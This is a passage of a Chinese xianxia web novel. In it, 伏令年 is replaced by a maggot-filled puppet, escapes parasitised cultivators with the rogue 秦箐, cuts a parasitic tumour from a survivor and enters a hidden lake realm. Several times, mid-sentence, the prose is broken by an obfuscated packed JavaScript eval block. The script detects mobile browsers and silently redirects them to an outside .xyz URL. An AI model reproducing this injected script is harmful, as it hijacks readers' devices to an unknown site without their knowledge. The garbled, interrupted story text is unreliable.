它们异常的疯狂,伏令年甚至还看见一些异虫试图顺着同类的躯体往上方攀爬。 纸鸢上的能散发出元婴期威压的“石头”似乎对它们有极强的吸引力。 不远处,有几位修士在撤退之时不慎偏离了大队部,逃跑不及,即将被淹没。 为了以防万一,温季才和张逸辰已从纸鸢下方爬了上来。 蛛丝绳化作巨网,杜钟毓在伏令年几人单独协助下,他们一边飞行着,一边捞起人来。 没错,捞人。 伏令年实在找不到比这更好的形容。 这种时刻,也顾不得下方是不是自己人了,先捞上来再说。 不知飞行了多久,也不知异虫在何处退去。 四周开始出现浓密的树林,不再适合飞行,纸鸢缓缓向下降去。 纸鸢虽能飞行,却不修士们各施身法疾行来得快。 当杜钟毓按动机关收起纸鸢,使众人从低空坠落时,下方东境和北境的修士已然聚集起来。 纸鸢目标极大,一路上又在不停地捞人,早已引起了众人的注意。 摔落之际,伏令年带了一把昏迷不醒的余绣,防止她摔伤。 除去能自由行动的伏令年一行人,其余被捞上来的修士身上还系着没来及解开的蛛丝绳,如同下饺子般接二连三地栽入草地,一时爬不起来。 伏令年将余绣安置在离北境修士更近的草丛中,目光环视四周。 温季才和张逸辰为逃亡出了最大的力,此时已筋疲力尽,勾结搭背地坐着,一时站不起来。 杜钟毓和高墨贤则被阿九 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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云鹤生反应过来不对时,晶核已经落入了东境手中。他死死盯着伏令年的面孔,莫名觉得很眼熟。 伏令年哪给他认人的机会,起身拔腿就往东境的队伍里跑。 她身着北境弟子的服饰,让人一时很难分辨敌我。 不过,修为的差距依旧无法跨越的。 背后凉意陡生,北境的元婴期修士反应过来,想要出手将她拦下。 伏令年与北境修士的距离太近,东境修士即使想要救援,却是鞭长莫及。 伏令年忽地将手伸至腰侧,掌心寒光闪现。 想要反抗? 北境的元婴期修士冷笑一声,伸手向前一抓。 不自量力。 然而,伏令年的行为却再次出乎他的预料。 她没有反抗,在被揪住的前一刻,把什么东西抛了出去。 陌生的灵力灌入体内,如冰霜附体。伏令年浑身一僵,血液似乎为之冻结,动作停滞。 元婴期的威压随之袭来,与那“石头”相似,却远比那时长久。 为了护住余绣的心脉,在张逸辰负责给纸鸢“吹风”这一大任后,伏令年便接续给余绣持续传输灵力,期间消耗不少。 虽还留有余力,却也是强弩之末。 此时,她只觉得眼前阵阵发黑。 93. 万霭之幽(二十) 耳旁嗡嗡作响,伏令年几乎以为自己要昏过去了。但她并没有,元婴期修士将灵力打入她体内,制住了她的行动能力,却并没有直接将她杀死的意图。 伏令年被人拎在手中,胸口被衣物缚得一阵发闷。她动了动,却听见元婴期修士冷声道:“不想死的话就别动。” 伏令年不动了,但她张开了嘴:“你再勒着我脖子,我就真的要死了。” 元婴修士原本并不想理会伏令年,耳边却听见她一直嘟嘟囔囔:“要死了…要死了…要死了…” 元婴修士:…… 他用术法封住了伏令年的嘴巴。 突如其来的变故打破了东境和北境修士间暂时的平和,两方的气氛再次剑拔弩张起来。 就在元婴期修士想提出条件,要求用伏令年交换晶核时,人群忽地喧闹起来。 他皱起眉,扫向那群不合时宜吵闹的弟子。 就见面无表情的少女将一群被缚在地上的弟子拖到了许子迁面前。 “人。”她说。 “阿九!”被称作阿俞的归鸿峰师兄一步上前,将阿九上上下下打量了一番:“没事吧?有没有受伤?” 阿九轻轻摇头。 “没事了,没事了。”阿俞师兄轻抚阿九的发顶:“别怕。” 被捆着的北境弟子们:…… 他们才有事,好吗?! 那少女身上穿着北境弟子的服饰——元婴期修士眼皮一跳,看了眼云鹤生,用眼神询问他如今的状况。 云鹤生很想说自己也不知道,他盯着伏令年的面孔,似是想将她的脸烧出个洞来。 突然,他脑海中灵光一闪,不由惊呼出声:“是她!是他们!就是他们偷走了灵犀果!” 云鹤生终于搞清楚了如今的状况。 ——他们之所以久寻不到这群小贼,不是因为他们跑得快,而是他们换上了北境的服饰,胆大包天地躲进了北境的队伍中! 而在刚刚撤退过程中,他们还将许多掉队的北境修士捞了上去。 如今,两极反转。别说拿伏令年交换晶核了,就是那一群北境弟子,他们都不一定能换回来。 且晏扶摇不知为何迟迟未归,这让北境的众位修士都有些心神不宁。 这么想着,元婴期修士心下恼火。但很快他就知道,他恼火得太早了。 刚刚将一群人拖过来的少女去而复返,她手上不知从哪又提了个北境弟子。 元婴期修士定睛一看,竟是一张熟悉的面孔。张逸辰——他同师门的师弟。 刚刚,在伏令年被元婴期修士抓住的同一时间,原本还跟张逸辰勾肩搭背哥俩好的温季才突然动手,将还未反应过来的他也给放倒了。 手中的小修士又在胡乱动弹,元婴期修士强忍着直接把她掐死的冲动,做出了决定。 “换人。”他看着东境众人,冷声道:“她一个,换所有北境弟子。” 这可真是狮子大张口。 可元婴期修士却有七分把握。 若对面的是南境,或者是西境,他都不敢肯定。但对面是东境。 东境,尤其是东境的昆仑宗,不会轻易放弃任何一个弟子,即使她是一个不入流的小修士。 这在许多修士眼中,都是可笑的。因为这毫无意义。 他目光在东境的元婴期修士身上流转,最后落在了那位先前开口与北境协商的星机阁弟子上:“宋时桉。” 被喊做宋时桉的修士双眼微微眯起,似笑非笑:“道友不觉得这有些过分了吗?” “不换?”元婴期修士冷笑一声:“那我现在就杀了她。” 就在此时,雷光骤现,一道身影从中踏出。 “晏师姐!”云鹤生惊喜地喊。 是晏扶摇。 她从雷光中走出,衣袍无风自动,威压四散而开。 北境先前低迷的士气骤然大振。 伏令年挣扎得更厉害了。 晏扶摇没说话,只需一个眼神,云鹤生便将所有事情全盘托出——当然,蕴含了他强烈的主观情绪。 她微微侧头,声音清寒如雪:“东西还回,人带走。” 东境修士几乎都要被气笑了。 “人也要?东西也要?”宋时桉道:“不可能。” 然而,晏扶摇的回答大出众人所料,就是元婴期修士也感到吃惊。 “我们不需要人。”晏扶摇很平静:“东西…交出来。” 东境陷入了短暂的沉默。 晏扶摇的冷漠大出他们所料。 她居然如此果断地选择放弃十多个北境的弟子。 元婴期修士眉头紧锁,显然对她做出的决定并不满意。与此同时,他觉得,手上刚刚还挣扎个不停的小修士似乎安静了许多。 指尖忽地感到麻痒,元婴期修士悚然一惊。 他猛地低头看去,正对上一双空洞无神的眼眸。 少女的面孔依旧与刚才并无二样,却又不同了。 突然,少女的眼球快速地鼓动起来,似乎有什么东西要从中“破土而出”。伴随着“噗叽”一声轻响,红色的液体顺着眼眶滴落,一条条蠕动的蛆虫从中爬出,布满了少女姣好的面孔。 于此同时,少女的身体在溶解,无数蛆虫从她干瘪下来的衣物中爬出,朝着元婴期修士的手上爬来。 元婴期修士当机立断,将手中的人丢了出去。 下一瞬,雷光乍现。 晏扶摇出剑,将空中的“伏令年”斩为两段。 东境修士注视着这骇人的一幕,还未来得及感到愤怒,惊悚感却先一步漫上心头。 长着伏令年面孔的事物被斩成两段,摔落至地面时,却已成了另一幅模样。 那是一个木偶。 大眼睛,嘴巴勾起,笑得渗人的木偶。 木偶的胸腹裂开,数不清的蛆虫从内涌出,朝修士们席卷而去。 在场的修士不乏修为高强者,居然未有一人提前察觉。 “是南境!”有人惊呼出声。 如此诡异的手段,不是南境的合欢宗还有何人能做到? 杜钟毓眼眶发红,她收了蜘蛛绳,跟着东境的队伍往外撤去。 她四处张望,却始终没找到那道熟悉的身影。 “小年…她。” 杜钟毓脚下一绊,险些扑倒,被阿九捞起,扛在肩上。 从承言将脱力的温季才扶起,也往后撤去,两人的脸色也难看到了极致。 伏令年不见了。 在一位位元婴期修士的眼皮子底下。 又或者,她或许早就被替换了。 只是他们都没能发觉。 无论如何,伏令年恐怕都凶多吉少。 而这一次,她身边再没有任何伙伴。温季才几人甚至不知道她此时身处何方。 高墨贤的脸色煞白,站在原地没动,不知是忧虑伏令年,还是被一地蛆虫恶心的。 温季才拽了他一把:“你没事吧。” 却见高墨贤直愣愣地盯着“伏令年”刚刚摔落的地方——那个木偶还在那里,勾唇对着天空微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“那里有一个阵法,很隐蔽的阵法。”宋时桉转身面向木偶所在的方位:“蛊偶落下时,阵法出现了。” 这下,孟如烟也诧异了。 她是元婴期修士,可身为剑修,对阵法的了解自然没有宋时桉这个符修来得深。 她发现不了,而宋时桉能发觉的阵法,竟被从承言他们察觉了? “原本想引蛇出洞的。”宋时桉轻声道。 因此,他才假装没发觉,带领弟子往远处撤去。 “看来,他们的目标不是我们。”宋时桉有了判断。 南境的目标不是“我们”,那还能是谁? 消失的伏令年? 还是她身上的什么东西? 到底是什么,值得南境合欢宗大费周章? 蛊偶处,蛆虫还在不断往外爬动。从承言唤出赤霄剑,火焰席卷,将它们尽数烤为焦炭。 高墨贤凑到阵法前,也不顾脏污和恶心,伸手去探。 蛊偶被翻了个面,露出位于脖颈处的一团不起眼的细小黑点。 但高墨贤知道,那是一个阵法。 此刻,他突然感到后悔。后悔自己反叛着要证明自己,证明自己能够修行剑术——不需要按部就班地继承家族之道,过着一成不变的“美好人生”。 如果他没有荒废天赋,如果他学了那些东西,是不是就不会在此时束手无策? 他的大脑有些空白,不断回放着先前“伏令年”身体被斩断,他随后发觉手中的身份铭牌等物尽数化为木头的画面——这是伏令年在被元婴期修士抓住前抛给他的。 而它们都是假的。 是一块块木片——散发着熟悉香料气味的木片。 而木片,即使是外表再像身份铭牌的木片,也是不能收取晶核的。 94. 万霭之幽(二十一) 痛。 从腰腹处蔓延至全身。 好痛。 伏令年近乎以为自己刚刚被腰斩了。 冷汗从额角滑落,她忍不住呢喃出声。 “醒醒!醒醒!” 有一道声音从远处传来。 越来越近,越来越近。 伏令年猛地睁开眼睛,坐起身。 “碰”的一声巨响在耳旁炸响,伏令年在意识到额角的痛感时,眼前再度暗了下去。 于此同时,神识海有所触动。 再次苏醒,伏令年睁开眼,下意识摸了摸腹部,又转而摸了摸额头。 腹部完好无损,肌肤光滑,先前的痛觉仿佛是一个噩梦。 然而——她的指尖停留在额头上。 一个鼓起的大包。 见鬼,她刚刚到底撞到了什么? 似乎是一个人的头。 但她可是堂堂金丹期修士,怎会被人一头撞晕过去? “你醒了?” 伏令年望向出声之人。 那是一个个子矮小的少女,面容普通,属于丢在人群中很难辨别的那种。 然而,伏令年却感觉到了一丝熟悉。 自从瑶光阵眼点亮,伏令年神识的敏锐程度便有所提升。能让她注意到许多从前留意不到的点。 她仔细观察着少女的面孔,记忆顿时明晰。 面前少女的容貌与那个出言讽刺干瘦男人的矮个少女重叠。 原来,她也是个修仙者。 “是你。” 少女直爽地道:“你果然是修仙者。” 说话的同时,伏令年也寻到了先前神识受到触动的原因—— 【九十年义务修仙系统提醒您:】 【任务进度变更】 【任务介绍:飞剑袭击、蛊虫袭击、长乐坊遇险以及身中蛊术等事让你心生猜测,你希望寻找真相并保护自身】 【任务进度: ①消除被袭击者掌握的毛发血肉(2/3) ②利用钥匙进入迷境(0/1) 】 第一个任务的进度改变了。 发生了什么?为什么任务的完成度会增加? 腰腹处的疼痛感还历历在目,伏令年依稀记得,自己看见余绣消失,挣扎着试图引起元婴期修士的注意。 然而,随着时间流逝,伏令年感到肢体在变得僵硬,眼球无法转动,五感逐渐消失。 眼前变得昏暗,脖颈处的的痒意更加明显。 最后的最后,只有一道刺目的雷光,以及剧烈的痛感。 然而,那痛感只是持续了一瞬,伏令年觉得自己似乎被从内在抽离,随之填入另一具躯体中。指尖传来滚烫的热意。 这种感觉和桃源村那时极像——那时,桃源树妖使她的灵魂出窍。 再然后,她便睁开了眼睛。 伏令年下意识抬起手,看了眼右手食指。 食指上面没有戒指,然而,伏令年蹙起眉头——一道不易察觉的红色细纹环绕于指节之上。 在注意到它的一瞬间,那股灼热感再度袭来,伏令年的脑海中似乎有一道声音在呼喊:“去那个地方,来找我们!” 钥匙。 伏令年在心中默念这个词。 “这是什么?”矮个少女好奇问。 “不知道。”伏令年眸光晦暗不明。嘴上这么说着,伏令年的内心却翻腾出了好几个猜测。 “骗人。”矮个少女突然笑了。 见伏令年目露诧异之色,少女满不在乎地道:“你们这些所谓的名门正派就是这样,嘴上说着一件事,心里却拐了八百个弯弯绕绕…很没意思。” 少女的话很直白,伏令年一时无言。 不过,少女显然不需要伏令年的回应,她语调一转,又变得欢快起来:“我叫秦箐,一个散修。你呢?” “伏令年,昆仑宗。”伏令年这回没选择隐瞒,直截了当。 “好…”秦箐的笑容突然变淡,她猛然探身,拳风乍响,秦箐的拳头在她面前不断放大。 然而,伏令年没有躲避。 神识并未察觉到秦箐的恶意,而身后,似乎有什么阴冷的事物在靠近。 那拳头在即将击中伏令年的下一瞬改变了轨迹。 伏令年只觉得一股巨力擦着自己的脸颊而过,秦箐的面孔近在咫尺。 她没有动,只听见脑后传来闷响,伴随骨骼破碎声,有什么重物随之倒地。 伏令年的手腕被攥紧,随即,秦箐带着笑意的声音传来:“不错,有胆量,我没看错你。现在,我们该逃跑了。” 伏令年被秦箐带着奔行于山谷之中,沉闷的脚步声不断回响。 那不是她们的脚步声。 伏令年视线之内,几道行迹扭曲的身影以极其诡异的姿势追逐着两人而来。 明明是人型,却四肢着地着爬行,分外狰狞可怖。 “这些是什么东西?”伏令年很难将他们视为人类,看着像以前世界里丧尸片里的丧尸。 “他们…”秦箐的声音里带着些厌恶,却并非对着“他们”:“他们被寄生了,身体已经被掏空了。” 寄生。 伏令年感到胃部发沉。 她又想起了余绣。 她现在在哪里?是否还活着? 两人钻入一片狭窄地域,秦箐落后一步,看似纤细的臂膀突然极速膨胀。肌肉虬结、块块分明。 “砰”的一声巨响,泥石纷飞,秦箐直接将崖壁砸碎,将后头追着的“丧尸们”埋在其中。 伏令年看得真切,其中一个“丧尸”的脑袋直接被凿穿,却没有血液流出。也是,他们的身体早就被蛀空了。就在这样眼中的打击下,他们依旧扭动着身躯,似要从泥石头下钻出。 更让人胆寒的是,“丧尸”破破烂烂的衣袍下,可见一团古怪的肉瘤不断颤动。 它似乎代替了人类心脏的功能,正蓬勃跳动着。 在秦箐有些讶异地注视下,伏令年忽地后退,手中光华一闪。 她双指似剑,未见剑身,剑意却凌冽而起。 锋锐的剑气刺入肉瘤之中,随着意念寸寸炸开。 碎肉纷纷碎落,黏液自缺口处涌出,腥臭味隐约可闻。 随着肉瘤被破坏,刚刚还在不断挣扎的“丧尸”像是失去了控制,肢体外皮不断颤动着,继而失去了全部“生机”。 “厉害啊!”秦箐凑过来看了眼,叹了一句:“名门正派的弟子就是厉害啊。” 刚刚还说名门正派的弟子虚伪呢。 伏令年无奈地瞥了她一眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“做什么…”被推搡的修士睁开双眼,眼下一片乌青。他脸色苍白,状态不是很好。 “你有没有听见什么声音?”推人的修士焦急。 “没有…”被推搡的修士没好气地嘟囔了一句。然而,下一刻,他便听见了“叮叮当当”的古怪动静。 两人对视一眼,悚然一惊。 “你说,有没有可能是人?”先前说话的修士猜测道。 “爹的!”被推搡的修士骂了一句:“这破地方哪还有活人。这么大的声响,会把它们吸引过来的!” 两人显然对口中的“它们”十分忌惮。 他们已经不知道在这迷境中呆了多久。 他们稀里糊涂进入迷境之中,身上的储物空间被封,没有武器,亦无法御剑飞行。 除了一些术法,几乎是手无寸铁。 他们两人都是散修,原本和其余散修一同组队,想趁着四境大会秘境开放之际捞些好处。却不想好处没捞着多少,队友莫名其妙地发狂,不分敌友地攻击你。直到如今,六人的队伍就只剩下他们两人。 其中一人还受了不轻的伤,眼瞧着没法再走出万霭之幽。 果不其然,便如他虽说,伴随着古怪的动静,似乎有什么野兽从各处汇集而来。 “遭了。” 95. 万霭之幽(二十二) 心脏跳得很快,受伤的修士面色灰白,双臂支撑着,试图站起。 随着他的动作,侧腹的一片殷红格外刺人眼目。 更为古怪的是,伤口看着不大,却意外的深。内里的皮肉外翻着,似乎被类似倒钩刺般的事物刺入又抽出。 随着他的动作,伤口撕裂得更严重,往外汩汩冒着鲜血。 受伤修士却也顾不得更多,一旦被那些诡异的“人类”发现,下场会比现在凄惨的多。 时至今日,他脑海里还回荡着那个画面——明明还是一副人类面孔,明明不久前曾说过话,却在一息之间面目扭曲。不知何时,人皮底下已不再是人类的血肉,而是数不尽的虫豸。 危险的气息更近了,他觉得自己的胃部也跟着痉挛起来,仿佛里头也隐藏着即将孵化的可怖事物。 就在这时,一道苍白的人影猛然出现在两人躲藏的巨岩背之上。 “呃…”低低的呼喊声,尖叫被扼在咽喉内,似悲鸣,又似哭泣。 他甚至分辨不出,那是否是从自己咽喉中发出的声音。 已经没办法了吗? 他们就要死在这里了吗? “砰!” 人影狰狞的面孔在他面前凝滞,随即从中碎裂开来。 他——或者是它,从颅骨处被直接碾碎了。 但它并未就此倒下,它的面孔剧烈颤动起来,如同骤然爆沸的液体。 “砰!”伴随着更大的击打声,人影倒下了。 下一刻,头部传来闷痛,他眼前发黑,将要失去意识。 身后…有人?他后知后觉地意识到。 “你下手是不是有点重了,不会死了吧?” “我只是轻轻碰了一下。” 这是他最后听见的声音。 伏令年将血瘤破坏,凑过来仔细观察这个被秦箐打昏的可怜修士。 看着他脑袋上肿起的大包,伏令年终于知道自己刚醒来时撞到的是什么东西。 “他看上去是幸存者。”伏令年道。 秦箐却丝毫没有误伤友军的内疚感,坦然道:“我知道,但这不代表他没有危险性。”身为散修的她对此有深刻理解。 伏令年不置可否,她将昏迷的修士翻了个面,一眼便注意到了其腰腹处狰狞的伤口。 她不易察觉地皱起眉。 又是这种伤口。 深入、不断渗血、抑制修士正常愈合能力的伤口。 在秦箐一言难尽的注视下,伏令年开始扒修士的衣服。 伤口在金丹期修士的愈合能力下不断趋近愈合,却又似乎被无形的事物阻碍,再度撕裂。几番重复后,布料已浸满了早已干涸的血迹。裸露的血肉与衣物近乎连为一体,在撕扯下发出皮肉被撕裂的古怪声音。 但此时此刻,伏令年的目的已不再是古怪的伤口。 随着她的动作,修士的胸膛显露在两人眼前。 两人眼眸中映出了一团血色肉瘤。 在这修士的心口处,居然也生长着一团可怖的血瘤。 随着修士轻微的呼吸,胸膛起伏间,血瘤也宛如获得了生命,收缩膨胀。 秦箐的反应很快——她抽出腰间的短匕,想要破坏血瘤。 伏令年却制止了她:“他会死的。” 通过这段时间的观察,伏令年大致能够推测,血瘤其实是此类寄生蛊虫的本体。它们似乎是通过伤口血液传播进行寄生的——像昏迷的修士一样,也像余绣那样。 同时,初期被寄生的修士似乎还留存着意识,□□也并未完全被蛊虫完全侵蚀。 就像面前的这个修士。 伏令年刚刚触碰过他的身体——他的肌肤底下,依旧是人类鲜活的血肉。 然血瘤的存在,使被寄生者的生命便与之相连。伏令年推测,若是直接粗暴地破坏血瘤,也会同时杀死被寄生的人类。 抛去珍惜生命这个最本质的原因,伏令年也想借着这个依旧保有意识的被寄生者做些试验,尝试除去蛊虫。若是无法根除,也可以更进一步地了解蛊虫的情况——它们太古怪也太可怖了。 即使先前已借助系统提供的道具资料作了预先的了解,亲眼目睹这一切怪状时,伏令年也依旧感到不寒而栗。 也正是因为此类蛊术的诡异,修仙界大多数修士都倡导杜绝修行此类术法。截至今日,唯有合欢宗还留存一二。 但迫于各境的压力,合欢宗也明确表示他们不会滥用蛊术,尤其是那些极为狠毒,一向被视为魔修禁术的蛊术。 若迷境中的状况当真出自合欢宗之手,便代表着他们破坏了四境默认的协约。 只是一场四境大会,当真值得他们冒着被四境正派修士唾弃的风险大用禁术吗?而且,用蛊虫寄生这么多没有根基底蕴的散修,又能有什么收益?伏令年的内心中生出了这样的疑惑。 …… 迷蒙当中,受伤修士意识逐渐回笼,缓缓地睁开了眼睛。 动了动身体,他惊觉自己似乎被什么事物捆缚了手脚。 凉意丝丝缕缕附着在肌肤上,还未等受伤修士做出行动,后脑忽地一痛,眼前再度发黑。 再次醒来,受伤修士没敢动弹,眯起眼睛小心观察四周。眼前树影掠动,背部肌肤紧贴着粗糙的事物——他似乎正被人拖着飞掠于林中。 体内灵力被冲散,无法正常运行。 这是什么情况? 然而,未等他进一步反应,一道平静的嗓音响起:“他醒了。” 没给他挣扎的机会,他再次昏了过去。 不知何时,受伤修士再度转醒。趁着对方还没动手,他大喊道:“道友手下留情!我有参与青鸢阁拍卖会的资格!” 虽然搞不清楚状况,但被寄生的人不会把他捆起来,更不会拖着他在林中穿行。 这意味着,对方是正常的修士。 身处迷境当中,若是想杀他,早便可以做了。也不必担忧被外头的人看见。可见对方应该不想置自己于死地,万事都有商量的余地。 用青鸢阁拍卖会资格作为交换的资本,既能削减对方可能抱有的夺财害命的心思,也表露了自己的价值。 疼痛未再袭来,面前景物颤动,他感到自己被放到了地面。草叶划过裸露的肌肤,让他产生了轻微的不适。 等等…他悚然一惊。 为什么是裸露的肌肤。 意识到这一点,受伤修士发觉自己上半身全然裸露在外,没有一丝遮挡。脑中顿时涌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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捆缚的绳索被斩断,钱徕下意识摸上自己的胸膛。 触感粘稠,指尖似乎沾染上了液体,血腥味涌上鼻尖。 钱徕觉得大脑一片空白。 他猛然起身,想去看少女手中的容器,确认她刚刚是不是真的从自己胸口处切下了一块古怪的肉块。 随着他的动作,下方忽然一凉。 面前的少女微妙地挪开了视线 钱徕恢复了一些理智,急忙伸手想将自己下方地布料扯上来。 那是他的外袍,先前被松松垮垮地系在他的腰上。随着他剧烈的动作,正往下滑落着。 而他记得,自己穿的袴似乎是… 就在他想装作刚刚无事发生之时,他听见了另一道声音。 “哟……红色的。本命年?”秦箐目光坦然,似乎在闲谈今天吃什么。 伏令年:……? 修仙界也有这个说法? 好吧,她早应该见怪不怪了。 96. 万霭之幽(二十三) 确定钱徕依旧保留意识,三人交流片刻,算是解除了误会。 ——主要是钱徕单方面的误会,伏令年和秦箐显然不是窥伺他肉。体合欢宗弟子。 “我想过秘境会很危险,我们队伍也只是想在外头晃悠几圈,却不小心掉到着无法自如使用储物空间和法器的迷境…”许是遇险后好不容易碰到新面孔的活人,钱徕忍不住说多了几句。 “对了,魏离去哪了?”对上伏令年两人疑惑的神情,钱徕挠了挠头,碰到肿起来的大包,嘶了一声:“嘶…就是跟我一起的那个人,他自己跑掉了?…哈,我以前怎么不知道他怎么能跑…” 注视着伏令年和秦箐明显严肃起来的表情,钱徕的声音越来越低:“你们…没见到他?” 秦箐眼眸微微眯起,直截了当:“没有,那里至始至终,只有你一个人。” 在她们到达钱徕藏身处附近时,早便察觉了由于受伤气息紊乱的钱徕。除了他,就未有其余人的气息。 伏令年的神识今非昔比,难有事物能逃出她的探查。 钱徕在开玩笑吗?还是说谎? 都没有必要。 那便只有两种可能,一是对方是个隐蔽气息的强者,伏令年两人没能发现。二便是——钱徕出现幻觉了。 这与寄生血瘤有关吗? 气氛骤然变得诡异起来。 “或许是他趁着我们不注意躲起来了。”伏令年语气故作轻松地道。 当然,秦箐和伏令年都知道,这几乎不可能。 …… 夜晚,伏令年睁开了眼睛。 从枝头一跃而下,伏令年宛轻盈的飞鸟,落地时近乎未发出动静。 钱徕如往日那般,双手被捆缚着,倚靠在树干上,眯眼打着盹。 似是有所察觉,他猛地睁开眼睛。 看见是伏令年后,他流露出一个讨好的笑容,迫不及待地掀开了上衣。 这几日里,钱徕发现自己并未像从前被寄生的同伴一样失去心智,逐渐被蛀空。就是愚人,也不难猜到伏令年每天坚持给他取肉放血的作用。 为了活命,钱徕自然是对伏令年百般讨好。 伏令年也完全不客气,狠狠宰了钱徕一顿。 可以说,除了用于蔽体的衣服,钱徕身上就不剩半点资产了。 失去了金钱之后,钱徕除了自己的小命什么也不在乎了。至于脸面和文雅做派?那是什么?能救命吗。 伏令年眼皮抽动了一下,有种被骚扰的感觉。 她熟练地用短匕将蠕动着试图复原的血瘤再次剜掉了一块。 血瘤在匕尖蠕动片刻,继而湮没于伏令年催生的灵火当中。 缺少空间储存能力,伏令年获得的所有血瘤样本皆在一定时间内失去了活性。 几番尝试都以失败告终,伏令年便放弃了在短时间通过血瘤样本研究出什么的想法,转而将注意力投注到如何逃出这片迷境上。 系统给的《蛊术入门》杂而不精,伏令年只能勉强依靠里头的内容在如此恶劣的条件下保住钱徕的小命。 为了放松心情,伏令年在休息打坐之余,还随眼瞧了瞧《如何分清双胞胎》以及《合欢宗养鱼指南》,竟意外地得知了不少有意思的东西。 例如,合欢宗并蒂圣子的由来。 让人意外,与妖族有关。 修仙界自妖魔大战以来,人族与妖族的关系便急剧恶化。 四境与八荒不再往来,人与妖互相敌视。 也因此,许多与妖族相关的事情就此被隐没或丢失。 据《如何分清双胞胎》中所述,并蒂圣子为并蒂莲妖化身,人心花身。 而并蒂莲为妖族传说中八荒重地的守护者,传闻,八荒重地内蕴含着可令天地翻覆的宝物。并蒂莲现世,便预示着在世有变,灾祸将起。 也是古怪,按书中所说,并蒂圣子的出现往往伴随着灾祸,合欢宗为何要将“灾祸之子”称为圣子呢? 不过,在如今的合欢宗,并蒂圣子似乎只是一个名号以及地位的象征。与起初的象征相差甚远。很多时候,便是选了一对有修行天赋的双胞胎充数罢了。 看到这些内容时,伏令年的脑海中便总会不由自主地想起秘境门口下轿的并蒂双子,以及那对在长乐坊攻击自己的不明杀手。 他们近乎成了伏令年内心的杂念,总会在她需要静心修行时跳出来打扰她。 有一道声音在心中催促着伏令年去探究。 探究的欲望与内心的理智拉锯抗衡。 回过神来时,血瘤已燃烧殆尽。 不知是不是刚才的火焰,伏令年忽地觉得指尖有些发烫。 不对! 伏令年猛然惊觉,她低头看向右手食指。 灼热感越加强烈,异样感灼烧着她的心口。 伏令年焦躁地咬了咬唇角,努力抛开脑海中“快跟着它,快去找它!”的强烈欲望。 祸不单行,异变再生。 刚刚还十分配合的钱徕突然挣扎着起身,无视伏令年,跌跌撞撞朝其中一个方向走去,嘴里喊着:“魏离,你去哪?” 伏令年立即跟上去,提着衣领将人拽了回来。 钱徕却丝毫不理会,他扭动着身体,像是迫不及待要去裸奔。 他嘴中却不断念叨着:“我看见了,魏里!他找到出口了。嘿…他还偷偷学了些卜术,临时在队伍里加上他果然没错…” 伏令年头疼,随后赶到的秦箐动手将钱徕打昏了过去。 秦箐张嘴想说些什么,神情却忽地一僵。 伏令年顺着她的目光,看见了一道黑色的身影。 那人身材高瘦,全身都笼罩于黑衣当中,只露出一双没有生气的眼睛。 伏令年刚才居然完全没能察觉。 所以,真的有一个人所谓的魏离可以避开她们两人的神识探查? “是你?”秦箐忽地道。 黑衣人给她的感觉像极了在秘境入口碰到的那个怪人。 那时,她便觉得有几分古怪。如今在此处相见,那种危险感更是强烈。 黑衣人动了动,喉咙里发出了古怪的动静,像是在笑,又似是在嘶吼。 “终于…”他道:“找到你了。” 他右手抬起,一片迷蒙的烟雾随之弥漫。 几片紫色的花瓣飘忽于其中。 【九十年义务修仙系统提醒您:】 【发现:【魔魇花】 ……】 没时间仔细查看。 强烈的危机感充斥在伏令年和秦箐心中。 两人屏住呼吸,带着钱徕齐齐往后退去。 指尖依旧滚烫。伏令年知道——“那个地方”很近了。 戒指是“钥匙”。 指尖的纹路是戒指。 伏令年心中其实早便有了这个猜测。 只要遵循内心的指引,循着钥匙的方向前行,她便能够完成系统给出的任务。 然而,伏令年却始终下定不了决心。 一切都太古怪了。 她不慎掉入迷境后,再见同伴,重归东境队伍,又在一众人面前消失,来到迷境的另一处。随后,她遇见秦箐和被寄生的钱徕,继而来到此处,遇上突然出现的危险黑衣人。 一切环环相扣,却又迷蒙不清。违和感愈加强烈。 这似乎是一场演员不知真相的舞台剧,有一双手在背后操纵着她进入迷境后的全部行动。 她总觉得这是一个陷阱,一个早已挖好,等待着她心甘情愿往里跳的陷阱。 而如今,她的确这么做了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784086|131734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >面对诡异的黑衣人与不知情况的魔魇花,伏令年选择了面对这个“陷阱”。 灵识海受到触动,是任务完成的提示。 【利用钥匙进入迷境(1/1)】 …… 黑衣人消失了,钱徕消失了,秦箐也不见了。 只余下伏令年孤身一人。 身体仿佛被流水包裹,感觉有些熟悉,就像是当初掉入迷境一般。 伏令年随着“水流”飘荡,思绪开始发散。 指尖的灼热感逐渐消失,发散的思绪在神识海中瑶光阵眼的照耀下逐渐收回。 伏令年失焦距的双眼重获神采。 首先映入眼眸的是一片湖面。 湖面很平静,清澈见底,闪烁着梦幻般的光泽。 微风拂过,湖面骤然泛起层层细腻的涟漪。如同窗台的轻纱舞动,迷蒙神秘。 